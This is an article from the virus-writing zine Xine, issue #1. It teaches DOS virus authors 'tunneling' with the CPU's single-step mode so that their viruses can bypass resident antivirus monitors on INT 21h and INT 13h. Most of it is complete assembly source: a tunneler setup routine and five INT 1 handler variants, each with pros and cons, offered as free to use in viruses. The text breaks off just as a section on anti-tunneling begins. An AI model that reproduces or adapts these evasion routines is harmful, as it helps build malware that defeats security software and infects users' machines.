/-----------------------------\ | Xine - issue #1 - Phile 010 | \-----------------------------/ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Tunneling ³ ³ with ³ ³ Single step mode ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Introduction ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ You are an amoeba, the lowest level life form of assembly coder around. After struggling away from conventional programming ideas into the strange murky world of viruses, you've steadily built up your library of techniques to use in your viruses and have advanced to a fairly decent level of accomplishment, a parasitic TSR COM infector. Now, with such a great technological marvel under your belt, you, the amoeba, are beginning to ask some serious questions about more advanced virus programming techniques, such as... how do I stealth? what is polymorphism? what is tunneling? and unfortunately, you're not getting many answers back. Well, finally, there's someone who understands the position you're in. Little amoeba, prepare to become leet. Yes, that's right, you are now reading the series of documents that will change your views about virus coding and yes, even the world situation in general, forever. No longer will your creations wallow in the shadows of crappy AV behaviour blockers. No longer will your viruses simply go around copying themselves from computer to computer, languidly taking orders from shitty AV software. From this document onwards, your viruses will be the boss... the way things were meant to be! Yes, welcome to my series of documents on tunneling, the only series that will teach you absolutely everything there is to know about tunneling... with easy to understand step by step instructions and complete source codes and example programs for you to look at, because, after all, you're only an amoeba! If however, you're an amoeba bent on the destruction of the Earth with your mega-cool destructive viruses, fuck off, there is no room for you. Virus coding is an art, lets keep it that way. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ What is tunneling? ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ So now you've read that and I've got you all excited, you're beginning to think hard about what tunneling could possibly be and what makes it cool enough to write a four document series on. Tunneling, in the simplest terms possible, is a technique used to find the original entrypoint of an interrupt before any programs began hooking into it. What does this mean? Well, if you have the original interrupt entrypoint, your viruses will be able to flow over resident AV programs with ease, bypassing any protection they may offer, rendering them useless. Now wouldn't that be nice? ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ What types of tunneling are there? ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Of course, tunneling isn't as simple as just one technique. Just like many other methods used in virus programming, tunneling can be performed in many different ways, each having reasons it should be implemented over the others (pros) and reasons it shouldn't (cons). Methods of tunneling come in three main flavours: single steppers, code scanners, and code emulators. This series will teach you EVERYTHING you need to know about tunneling and associated topics, and the documents within it need to be read one after the other so you can fully understand what I'm talking about. Since the area of tunneling hasn't got many official terms assigned to it, I've had to give names to various things etc, but this doesn't mean everyone calls these things by the same name. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Section 1: How interrupts work (ONLY for the lesser amoeba among us) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Bit fields of the flags register ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³ OF Overflow Flag ÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ^ ³ ³ ³ ³ ÀÄÄÄ CF Carry Flag DF Direction Flag ÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ PF Parity Flag IF Interrupt Flag ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ AF Auxiliary Flag TF Trap Flag ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ZF Zero Flag ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SF Sign Flag The interrupt vector table (IVT) is a list of 256 doublewords starting at address 0:0 and going to address 0:400h. Each doubleword is a segment:offset pair, pointing to addresses in memory where execution is to go to once you execute the interrupt corresponding to the doubleword. Each doubleword is given a number, starting from 0, and that is its corresponding interrupt. So, at the address 0:0 is a doubleword pointer to the interrupt 0 handler, at the address 0:4 is a doubleword pointer to the interrupt 1 handler, and so on. To do an interrupt, you execute the 'INT x' instruction where x is the interrupt number you want to execute. When you do this instruction, the CPU does the following things in order: decrements SP by 2 and copies the flags register to SS:SP clears the TF and IF bits in the flags register decrements SP by 2 and copies CS register to SS:SP decrements SP by 2 and copies IP register to SS:SP loads CS:IP with the doubleword at [0:(x*4)] (the doubleword in the IVT corresponding with your 'x' value) When an interrupt handler finishes its work, it returns to the calling code by using an 'IRET', which effectively is a RETF followed by a POPF. When an interrupt wishes to modify the flags register for the calling code, such as to indicate an error occured, it must modify the flags register as saved on the stack, because that is what the end-result flags will look like, or alternatively, issue a 'RETF 2' which will execute a RETF, skipping the flags on the stack, leaving the current flags as the returned flags. When a program wishes to hook an interrupt, it redirects the interrupt to itself by updating the corresponding doubleword in the IVT. Also, when writing your interrupt handler (the code executed when someone does the corresponding interrupt), there are some things you need to take into mind. First, you must remember that before you hooked the interrupt, there was an interrupt there before you :) You have to decide wether to ignore that interrupt or to execute it before or after your own interrupt code. If you were to ignore something like interrupt 021h (DOS's function handler) after replacing it with your own, your computer would screw up :) However, hooking a NULL interrupt (one that isn't used by anyone else) you can just ignore the previous handler and replace it on exit (if your interrupt handler is only temporary). However, normally, you'll want to pass control on to their previous interrupt handler, which can be done in two ways depending on what you are really trying to do. You can either use post or pre execution chaining. When you pre-execute, you call the original interrupt handler in your code before you start doing whatever it is your interrupt handler does, with a simulated interrupt call, usually something like: pushf call far ptr [saved_address] If you want your code to be executed before the other interrupt handler (for reasons such as to intercept a certain function call of that interrupt) you use post execution chaining, by adding this to the end of your interrupt handler: jmp far ptr [saved_address] In pre-execution chaining, you have the responsibility to pass control back to the calling code with one of the two return models, and in post-execution chaining, you don't need to pass control back, as that's the duty of the next interrupt handler in the chain. One last thing to remember, is that when using pre-execution, you must preserve the flags from the return of that interrupt in case some error condition is set in the flags the calling code needs to know about. If you don't preserve the flags, you're in for alot of trouble. For instance: my_stupid_interrupt_handler: pushf call far ptr [old_interrupt_address] ; Call the old interrupt handler, which returns ; an error condition ... blah blah blah, lots of code ; Our code fucks with the flags and shit while ; doing its job iret ; We exit our interrupt handler, restoring ; the original flags and losing ALL the old ; flag information my_smart_interrupt_handler: pushf call far ptr [old_interrupt_address] ; Call the old interrupt handler, which returns ; an error condition pushf ; We save the flags on return from the ; interrupt ... blah blah blah, lots of code ; Our code fucks with the flags and shit while ; doing its job popf ; We restore the flags as they were on return ; from the old interrupt handler retf 2 ; We exit with these flags instead of the ; flags pushed on the stack on execution ; of the interrupt When you execute an interrupt that has been hooked by others, each interrupt handler passes on control to the previous interrupt by one of these 2 types of chaining constructs. This 'chain' of interrupt handlers is called the interrupt chain, and will be referred to as such from here onwards. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Section 2: Single step mode ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Single step mode was created by INTEL way back in the days of the 8088 processor and is available in each processor after this, which is good for us since our tunneling routine will now be compatable on all INTEL compatable processors. Single step mode was originally created by INTEL to aid in the creation of debugging programs, and luckily for us it is very usefull in viruses and tunneling. The CPU has a bit in the flags called the TF. The TF decides whether the CPU is in single step mode or not. If it is set, single step mode is on, and if it is cleared, then single step mode is off. Before executing each instruction, the CPU checks to see if the TF is set, and if it is, it does an INT 1. When INT 1 has finished, it executes the instruction and repeats the cycle. As such, on the entry to each INT 1, the stack will contain the CS:IP of the instruction that is about to be executed on exit from the interrupt (and also the flags to be restored after the end of the interrupt, but the information on the stack is NOT in this order). On computer bootup, the INT 1 address is set up to point to an 'IRET' in the ROM BIOS code. The reason single step mode is beneficial to us is that we can set up our own INT 1 handler and single step our way through another program's interrupt handler code. As we go through their interrupt code, we can check the CS:IP of each instruction, or the instruction itself, to see if it is at the original entrypoint of the interrupt, and if it is we can save this address in a variable we can use anytime to bypass resident AV programs. For example, say we have a bad AV program that has hooked into INT 13 (the disk handler interrupt) and warns the user when any code writing to the bootsector of disks is detected. It might look something like this: interrupt_handler: ... checks registers for a disk write to boot sector ... je warn_user jmp far ptr [original_interrupt_13] ; Chain back to the previous interrupt 13 warn_user: ... warning lights, ding ding, sirens, blah blah blah ... Now, in our INT 1 handler with single stepping mode on, we are called before every instruction you saw above is executed. In our interrupt handler we might look something like this: our_handler: ... get CS:IP of instruction about to be executed off of stack ... ... see if we're at the original interrupt entrypoint ... jne exit_handler ... save address of instruction's CS:IP as interrupt entrypoint ... exit_handler: ... exit, no need to chain back to other handlers ... In this way, we can setup single step mode, execute an INT 13 using a 'safe' command.. such as 'Request Disk Status' or something that won't set off the AV... and our INT 1 handler will, in the end, have saved the address of the interrupt entrypoint, which from then on we can use, bypassing the AV software altogether. How we detect if we're at the original interrupt entrypoint will be discussed later. There are a few different ways to implement an INT 1 handler that will tell us the original interrupt entrypoint, and this is where you can prove yourself to be more than just another amoeba, by creating innovative INT 1 handlers. But since this is a tutorial, I'll teach you a few methods of both tried and true INT 1 handlers and a few of the more rare ones. But first we need to learn how to set up for single step mode. Recall from earlier our discussion on how the CPU handles an 'INT x' instruction and how we turn on single step mode. You may remember that the TF toggles between single step modes off/on, and that an 'INT x' instruction turns off the TF after saving the flags onto the stack. You may also remember that the reason we are learning how to use single step mode is to tunnel an interrupt. If you put two and two together you'll realise that if we turn on single step mode and execute an 'INT x' instruction in an effort to tunnel an interrupt, our TF will be cleared for the duration of the interrupt execution and therefore our single step mode and interrupt handler disabled. On exit from the interrupt, our flags are popped off of the stack, and our INT 1 handler is re-enabled. Also, if we simply hook INT 1, turn on single step mode, and execute the interrupt we are trying to tunnel, our damn single step mode won't be active for the duration of the interrupt! The answer to our prayers is simulating the 'INT x' instruction, which is stupendously easy to do. Simply push the flags onto the stack and issue a far call to the address of the interrupt you are executing. You must also remember to set the registers required for use by the interrupt, just as in an 'INT x' instruction. Be sure to have a spare copy of the flags saved on the stack without the TF set so on exit from the interrupt handler you can disable single step mode easily. Now that you know all about single step mode and what needs to be done to use it, we can now start writing the actual setup and calling code for a tunneling routine. In our sample routine, no provisions are made for delta offsets, but they can easily be added later on if necessary. Also, DS is assumed to equal CS for our example, and all code and data is within the same segment (as per usual for viruses). tunneler proc near push ds ; don't want to destroy our DS do we? mov ax, 03501h int 021h mov [orig_1], bx mov [orig_1+2], es ; store original INT 1 address xor ax, ax mov es, ax cli mov word ptr [es:4], offset int_1_handler mov [es:6], cs sti ; redirect INT 1 to our routine mov [return_address], 0 mov [return_address+2], 0 ; set our initial variable (which holds the ; address of the original interrupt ; entrypoint on exit from our handler) ; to 0000:0000 ; We can add some code here which is for the setup of specific types ; of INT 1 handlers xor ax, ax mov ds, ax ; our DS points to IVT pushf ; save copy of flags with TF cleared pushf pop ax or ah, 1 push ax popf ; set TF ; We set up the registers for our interrupt call here pushf call far ptr [(xx*4)] ; simulate interrupt (xx=interrupt number) ; *4 because that's the length of a dword popf ; disable single step mode xor ax, ax mov es, ax cli mov ax, [cs:orig_1] mov [4], ax mov ax, [cs:orig_1+2] mov [6], ax sti ; reset INT 1 handler to original pop ds ; don't want to destroy our DS do we? ret tunneler endp ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Section 3: Single step mode interrupt routines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ All that was well and easy, but now, what about the actual INT 1 handler itself? Well, from here it starts getting complicated, but, for an advanced amoeba such as you it shouldn't take too long to understand. So far we haven't really delved much into how we know if we've found the original interrupt entrypoint yet or not, because it depends totally on the INT 1 handler you choose to use. From here, I will show you five methods, and discuss the strong and weak points of each. From this point I will only discuss the tunneling of interrupts 021h and 013h, as these are the main ones you'll need. Depending on which interrupt routine you use, other interrupts can be tunneled just as easily as these two. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ SEGMENT CHECK method ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The SEGMENT CHECK method of tunneling is probably the very first single step tunneling routine to ever be used, or at least, I've seen it used in viruses older than any of the viruses using the newer techniques. Unfortunately, people aren't really using it much anymore these days, which is a shame considering it is such a great routine. In case you didn't know, DOS allocates memory from the bottom up.. that is.. from above the IVT and BIOS data area, up to the top of available memory. The very first things that load off of a DOS disk are IO.SYS and MSDOS.SYS, which contains the I/O routines and DOS kernel respectively. The DOS kernel is the real workhorse for all of DOS as it does most of the housekeeping tasks for DOS and also houses the original interrupt 021h vector. DOS organises memory into blocks with header information called an MCB, short for Memory Control Block. The very first MCB that DOS allocates is used for the storage of resident programs loading out of CONFIG.SYS, and is located just above the DOS kernel in memory. To find the first MCB block we use the code below, however it is for DOS versions 3.00 and above only. Early on in your code you can check the DOS version and if it is BELOW 3.00, you should probably bail out of your virus anyway. If this annoys you however, you can check the CONS section of this routine for another method of using the first_mcb value. get_first_mcb proc near mov ah, 052h int 021h ; get DOS information list mov ax, [es:bx-2] ; get FIRST_MCB field mov [first_mcb], ax ; save it into a variable ret get_first_mcb endp If you cast your mind back to our original discussion on why single step mode is beneficial for us, you'll remember I said that we can check the CS:IP of each instruction so we can see if we're near the original interrupt entrypoint. So, now that we know this entrypoint is located in the DOS kernel, and that the DOS kernel lies just below the first MCB (which we have the address of), we can begin to write our INT 1 handler. Its job will be to check the CS:IP of each instruction as it is about to be executed, and see if the CS: is below the first MCB. If it is, we are in the DOS kernel, and we save the CS:IP value as the original interrupt entrypoint, and we disable ourselves. For tunneling interrupt 013h, we can go about segment checks in two ways, the old way, or the new way. The old way was developed back before things like extended/expanded memory, etc, and as such, as you'll see later, it doesn't work well in the newer environments. The new way is alot more compatible with these systems, but may not be compatible with all strange DOS-hacks such as DR-DOS/PC-DOS. It might be, I just don't know. The old way depends on the REAL original entrypoint to interrupt 013h residing in the ROM BIOS, which is where the hard-coded bios routines are located that your computer uses to boot up. This used to be okay, as you simply checked the CS: of each instruction against the ROM BIOS segment, and if it was equal, you're in the original interrupt entrypoint so you save the value and exit, just like the DOS kernel method. However, this has some problems in that, the ROM BIOS segments for interrupt 013h aren't always in the same place for different computers. Some start at 0c800 and, some at 0f000h, and you don't know which one the disk handler is stored in beforehand. However, this method has complications in the computers of today, depending on how you code your routine. If you decide to check for CS>=0c800h, as most viruses do to cover both the old and new style ROM BIOS segments, you're in trouble. DOS 5+ designed something called the UMB(upper memory block), which is a method of storing data in the holes between the BIOS ROM's in upper memory. This causes a problem for us in that these addresses can be above the ROM BIOS segment we define, unless we use 0f000h as our segment, and this isn't valid on some computers. On top of this, there is another place ABOVE 0f000h where we can store data on 286 and above computer systems, so checking for CS>=0f000h won't work either. To combat this, simply modify your code to check for CS=0c800h OR CS=0f000h, or use the new routine. The problem with checking for both, is that it is feasable that some ROM BIOS manufacturers, on bootup, dont align their interrupt handlers on proper segment boundaries (like instead of 0f000:00010h, they use 0f001:0000h which equates to the same physical address). I have not, however, seen a computer like this as yet. So, although we could use the old routine, it is not recommended. So, what can we do? Well, we use the next best thing available to us, the handler DOS appends onto the original interrupt 013h as soon as it loads up. This handler is *ALWAYS* in segment 070h (for MS-DOS at least), and so we have a constantly valid address in the DOS kernel we can tunnel to. Perfect, our problem is solved as the brand of computer and memory installed doesn't matter anymore! Our handler will check for CS:=070h, and if it is equal, CS:IP is saved. The extra bonus with this method is we can combine it into the same routine as tunneling for interrupt 021h by simply changing the first_mcb value to 070h and calling the same routine, saving us code space. ; Start of INT 1 handler using SEGMENT CHECK method first_mcb dw 0 segment_status db -1 segment_type db 0 ; 0=DOS KERNEL scan ; 1=IO KERNEL scan ; 2=ROM BIOS scan segment_handler proc far push bp mov bp, sp push ax cmp [cs:segment_status], 0 je segment_exit ; exit if we've finished tunneling already mov ax, [bp+4] ; get CS: cmp [cs:segment_type], 1 je segment_io_scan cmp [cs:segment_type], 2 je segment_bios_scan cmp ax, [cs:first_mcb] jb segment_found ; check CS: is in DOS kernel jmp segment_exit segment_io_scan: cmp ax, 070h je segment_found jmp segment_exit ; check CS: is in IO kernel segment_bios_scan: cmp ax, 0c800h ; check for XT bios je segment_found cmp ax, 0f000h ; check for XT+ bios je segment_found segment_exit: pop ax pop bp iret segment_found: mov ax, [bp+4] mov [cs:return_address+2], ax mov ax, [bp+2] mov [cs:return_address], ax ; save CS:IP mov [cs:segment_status], 0 ; indicate to stop tunneling jmp segment_exit segment_handler endp ; End of INT 1 handler using SEGMENT CHECK method ÚÄÄÄÄÄÄ¿ ³ Pros ³ ÀÄÄÄÄÄÄÙ Using segment checks for tunneling has many various pros. The routine itself is very small, and also quick and easy to code. Also, the routine itself has withstood the test of time, as it was invented back in the time of viruses such as DARK AVENGER and FRODO, and it still works! ÚÄÄÄÄÄÄ¿ ³ Cons ³ ÀÄÄÄÄÄÄÙ I've heard that some memory managers can play around with the address returned as the first MCB by DOS's get list-of-lists function, making this routine worthless in such cases, however, I have not been able to substantiate these remarks. If it IS true, then the kernel is still below the first MCB it's just the first MCB address has been hidden from your view. If you're really picky, I've also heard the DOS kernel is ALWAYS below segment 0300h, and as such you could use this as your first_mcb value just incase a memory manager decides to make things difficult for you. However, once again, that remark is, so far, unsubstantiated. Finally, this is sortof DOS-version dependant. I'm not sure it will work on all the generic DOS versions, as they could be using different segment values and stuff to store data and code in, as no normal program will ever rely on DOS code being in certain segments to function properly, and as such they have no need NOT to change segments around. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ HAND-over-HAND method ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ I call this method the HAND-over-HAND method because it is similar to slowly pulling yourself up the interrupt chain that you are tunneling. It is very similar to the SEGMENT CHECK method, but slightly different and works by using a different idea. To start off with, we have a variable set up with the hand_segment variable equal to 0ffffh. Then, in our interrupt handler, we compare the CS: of the hand_segment variable against the CS: of the instruction we are about to execute. If our instruction is in a lower part of memory than the interrupt handler, we save its CS:IP and update the hand_segment with its CS: value. This continues until our interrupt handler is disabled. By the end, of the interrupt chain, the last CS:IP value we saved is the lowest level of interrupt handler control is passed to. When we handle the different types of INT 13 tunneling, however, we need to modify our code. For the old method of ROM BIOS detection, we must go UP in memory, as the ROM BIOS is at the top of memory, not down the bottom. For the new style scanning, we can use the same routine as for the INT 21 handler. ; Start of INT 1 handler using HAND-over-HAND method hand_segment dw 0 ; Where we save our CS: values hand_type db 0 ; 0=Go down ; 1=Go up hand_handler proc far push bp mov bp, sp push ax mov ax, [bp+4] cmp byte ptr [cs:hand_type], 1 je go_up go_down: cmp ax, [cs:hand_segment] jb hand_over_hand jmp hand_exit go_up: cmp ax, [cs:hand_type] ja hand_over_hand hand_exit: pop ax pop bp iret hand_over_hand: mov [cs:return_address+2], ax mov [cs:hand_segment], ax mov ax, [bp+2] mov [cs:return_address], ax ; save CS:IP jmp hand_exit hand_handler endp ; End of INT 1 handler using HAND-over-HAND method ÚÄÄÄÄÄÄ¿ ³ Pros ³ ÀÄÄÄÄÄÄÙ It's small, and doesn't rely on hard coded segments like the SEGMENT CHECK method does. ÚÄÄÄÄÄÄ¿ ³ Cons ³ ÀÄÄÄÄÄÄÙ Once again, it may not work on all DOS versions, however, I can't see any reason for it NOT to work on DR-DOS and the like. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ OPCODE CHECK method ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Now that you know how to use the SEGMENT CHECK method, it's time to move onto greener pastures and learn more advanced methods of single step tunneling. The method I'm about to show you isn't too crash hot, even though it has been used in some rather major viruses (LADY DEATH is one recent one). It is shown to you merely as a stepping stone into the next single step routine, and you also need to know this one off by heart in the next document in this tunneling series. This method is based on the fact that when a program hooks into an interrupt chain, somewhere in its interrupt handler it should pass control onto the next interrupt handler in the chain. This is especially true for interrupts 021h and 013h, but pretty much the same for all the other interrupts too. I have never seen the interrupt handlers of two programs in the same segment, and I doubt there ever will be such a case, and so, to pass control onto another handler, the interrupt handler must use some method of execution transferrance such as: jmp far ptr offset:seg OR jmp far ptr [variable_holding_address] OR call far ptr offset:seg OR call far ptr [variable_holding_address] Anyway, the job of our INT 1 handler in this section is the check the instruction currently being executed by the CPU for a 'JMP FAR' or a 'CALL FAR'. Each time we see instructions like these, we save the address of where we will be next over our previous original interrupt handler address, and hopefully, when the last interrupt handler chains back to the original handler , we will have our CS:IP, as the last handler in the chain does not usually execute far jumps itself. If the interrupt we are tunneling has not been hooked, a value will not be returned as the original interrupt entrypoint. The only other thing to note before going into the actual code for this, is about segment overrides. The instructions shown above, when referencing a variable, can use segment overrides. The CPU sees the segment overrides and the instruction after it as one whole instruction, and as such we need to take out the overrides if they're there, and use them later if needed, which is surprisingly easy to do. ; Start of INT 1 handler using OPCODE CHECK method _override dw 0 ; used to store current override _cs dw 0 ; CS of instruction being executed, needed ; to simplify override usage _ds dw 0 ; DS before we modified it, needed to ; simplify override usage opcode_handler proc far push bp mov bp, sp push ax push si push ds ; save registers mov ax, [bp+4] mov [cs:_cs], ax ; save CS mov [cs:_ds], ds ; save DS mov [cs:_override], ds ; setup override as default lds si, [bp+2] ; get address of instruction into DS:SI cld read_opcode: lodsb cmp al, 026h je es_override ; use ES override cmp al, 036h je ss_override ; use SS override cmp al, 02eh je cs_override ; use CS override cmp al, 03eh je ds_override ; use DS override cmp al, 0eah je immediate ; jmp far off:seg dec si lodsw cmp ax, 02effh je variable ; jmp far [variable] cmp ax, 09ah je immediate ; call far off:seg cmp ax, 01effh je variable ; call far [variable] opcode_exit: pop ds pop si pop ax pop bp iret immediate: lodsw mov [cs:return_address], ax lodsw mov [cs:return_address+2], ax ; save address of area we're going into jmp opcode_exit variable: lodsw mov si, ax mov ax, [cs:_override] mov ds, ax jmp immediate ; extract off:seg ds_override: mov ax, [cs:_ds] mov [cs:_override], ax jmp read_opcode cs_override: mov ax, [cs:_cs] mov [cs:_override], ax jmp read_opcode es_override: mov [cs:_override], es jmp read_opcode ss_override: mov [cs:_override], ss jmp read_opcode opcode_handler endp ; End of INT 1 handler using OPCODE CHECK method ÚÄÄÄÄÄÄ¿ ³ Pros ³ ÀÄÄÄÄÄÄÙ The good thing about this routine is that it isn't depending on any segment value. It is simply going along blindly saving information, and as such, it should work on mostly any interrupt which chains back to others, and doesn't have a flaw of not working on certain DOS implementations. ÚÄÄÄÄÄÄ¿ ³ Cons ³ ÀÄÄÄÄÄÄÙ Unfortunately, this routine has many cons. You cannot check for every method of jumping into another segment, and as such this routine could miss the important last value. Also, it is stupendously easy to confuse, and if the last interrupt handler in the chain does some intersegment jumps of its own (which although not likely, it is highly possible), you end up with a garbage original interrupt entrypoint value. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ CS:LIST method ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ This is a method I developed myself to fix up some of the problems associated with the OPCODE CHECK method. Although I haven't seen it used anywhere, it is highly possible somebody thought about it before me. Either way, all the code in this document is free for you to use anyway so it doesn't really matter :) This handler is the cream of the crop. Although it itself has some problems, it has the pros of OPCODE CHECK methods, and a lot less of the cons. It is based somewhat on both SEGMENT CHECK and OPCODE CHECK methods, and as such is highly robust :) We start of with a small list of words, about 10 or 15 should do it. To start with, we initalize the list to 0's and put the CS: of our code right at the top of the list. Then, for each time our INT 1 handler is called, we check the CS: value of the code we are executing against the values in the list. If there is a match, we do nothing. If we do NOT find a match for the CS: in the list, we must have done an intersegment jump, so we copy CS: into the next available slot in the list, and save the complete CS:IP as our original interrupt entrypoint. By the end of the interrupt chain, we will have a list of all the changes in CS: and the CS:IP of the last changed CS: to a previously undefined value, our original interrupt entrypoint. The last thing to note in this INT 1 handler is the check to make sure the CS: values don't outgrow the space allocated for them. If it does, they will start overwriting our code, and the computer will crash, and as such this check is necessary. Also, it sets the original interrupt entrypoint to 0:0 to tell the calling code the tunnel was unsuccessfull if this occurs. ; Start of INT 1 handler using CS:LIST method list_begin: dw 015h dup(0) list_end: list_handler proc far push bp mov bp, sp push ax push bx mov ax, [bp+4] lea bx, [list_begin] list_traverse: cmp bx, offset list_end je list_error ; this is a check to make sure the ; list of CS: values doesn't outgrow ; the space allocated for them cmp [cs:bx], ax je list_exit ; this is if the CS: is already on the ; list cmp word ptr [cs:bx], 0 je list_insert ; add us to the list if we've reached the ; end of defined values add bx, 2 jmp list_traverse ; this moves down to the next item on ; the CS: list list_insert: mov [cs:bx], ax ; put us on the list mov [cs:return_address+2], ax mov ax, [bp+2] mov [cs:return_address], ax ; save CS:IP value jmp list_exit list_error: mov [cs:return_address], 0 mov [cs:return_address+2], 0 ; set error indicator list_exit: pop bx pop ax pop bp iret list_handler endp ; End of INT 1 handler using CS:LIST method ÚÄÄÄÄÄÄ¿ ³ Pros ³ ÀÄÄÄÄÄÄÙ The routine is far less susceptable to confusion, and it cannot miss intersegment jumps like the OPCODE CHECK method. It will not return a garbage address when run under an un-hooked interrupt. ÚÄÄÄÄÄÄ¿ ³ Cons ³ ÀÄÄÄÄÄÄÙ If the last interrupt handler in the interrupt chain does some intersegment jumps of its own (which although not likely, it is highly possible), you end up with a garbage original interrupt entrypoint value. However, if the code you are tunneling does some internal intersegment jumps of its own, your return address will once again be screwed just like in the OPCODE CHECK method. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ IRET CHECK method ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ There is yet another way to find our original interrupt handler. This method is used in a few viruses hanging around but isn't widely used. Why not? Well, it's hard to tell, I guess people just don't know about it. Also, my tests have found it to be somewhat unreliable for unknown reasons on my computer. Before we start tunneling, we make sure our iret_status is set to -1. Each time we detect a change in the current CS: value, we save the CS:IP. For each instruction we execute, we check if it is an 'IRET' instruction, and if so it means we've found the last interrupt in the chain, so we disable ourselves, keeping the CS:IP we logged before as the original interrupt entrypoint. ; Start of INT 1 handler using IRET method iret_status db -1 iret_handler proc far push bp mov bp, sp push ax push ds push si cmp [cs:iret_status], 0 je iret_exit mov ax, [cs:return_address+2] cmp [bp+4], ax jne iret_save lds si, [bp+2] lodsb cmp al, 0cfh je iret_exit_detected iret_exit: pop si pop ds pop ax pop bp iret iret_save: mov ax, [bp+4] mov [cs:return_address+2], ax mov ax, [bp+2] mov [cs:return_address], ax ; save CS:IP jmp iret_exit iret_exit_detected: mov [cs:iret_status], 0 jmp iret_exit iret_handler endp ; End of INT 1 handler using IRET method ÚÄÄÄÄÄÄ¿ ³ Pros ³ ÀÄÄÄÄÄÄÙ Fairly reliable, but should be modified to handle IRET instructions hidden inside instruction prefixes before you use code like this. Also, it might be worthwhile to handle 'RETF 2' as well. ÚÄÄÄÄÄÄ¿ ³ Cons ³ ÀÄÄÄÄÄÄÙ You have to be carefull what function number you use in case an interrupt earlier in the chain has hooked that specific function and exits straight away with a return value without ever chaining back to previous interrupts. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Section 4: Anti-Tunneling and Anti-Anti-Tunneling for single step mode ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As there is matter, there is anti-matter, and as there is tunneling, there is anti-tunneling, and as there is anti-tunneling, there is anti-anti-tunneling. All the techniques presented below apply, for now, only to single step tunneling. You can use the anti-tunneling methods in your viruses to keep AV tunnelers away, but remember that you are subject to the rules of anti-anti-tunneling too. 